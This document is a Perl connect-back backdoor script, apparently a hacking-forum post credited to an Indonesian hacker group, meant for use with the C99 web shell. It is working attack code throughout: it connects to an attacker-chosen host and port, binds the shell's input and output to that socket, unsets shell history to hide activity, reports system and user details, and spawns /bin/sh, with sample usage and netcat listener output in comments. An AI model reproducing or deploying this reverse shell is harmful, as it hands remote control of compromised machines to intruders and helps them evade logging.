Hacking, Connect Back For C99

#!/usr/bin/perl
use IO::Socket;
#Indonesia Hacker Community
#Connect Back Shell
#sekuritiOnline Te@m
#
#error-engine@SlackwareLinux:/home/programing$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 1.0 by Indonesia hacker community Connect Back Shell ==--
#
#cara pake : dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#error-engine@Linuxmerdeka:/home/programing$ perl dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell vERSION 99 Shell==--
#

#[*] Resolving HostName
#[*] Connecting... 127.0.0.1
#[*] Spawning Shell
#[*] Connected to remote host

#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 ...
#connect to [127.0.0.1] from localhost [127.0.0.1] 2121
#--== ConnectBack Backdoor Shell vERSION 99 Shell ==--
#
#--==Systeminfo==--
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
#
#--==Userinfo==--
#uid=1001(lord) gid=100(users) groups=100(users)
#
#--==Directory==--
#/root
#
#--==Shell==--
#
$system = '/bin/sh';
$ARGC=@ARGV;
print "--== Fucking Machine ==-- \n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "--== ConnectBack Backdoor Shell by sekuritionline te@m ==-- \n\n";
system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF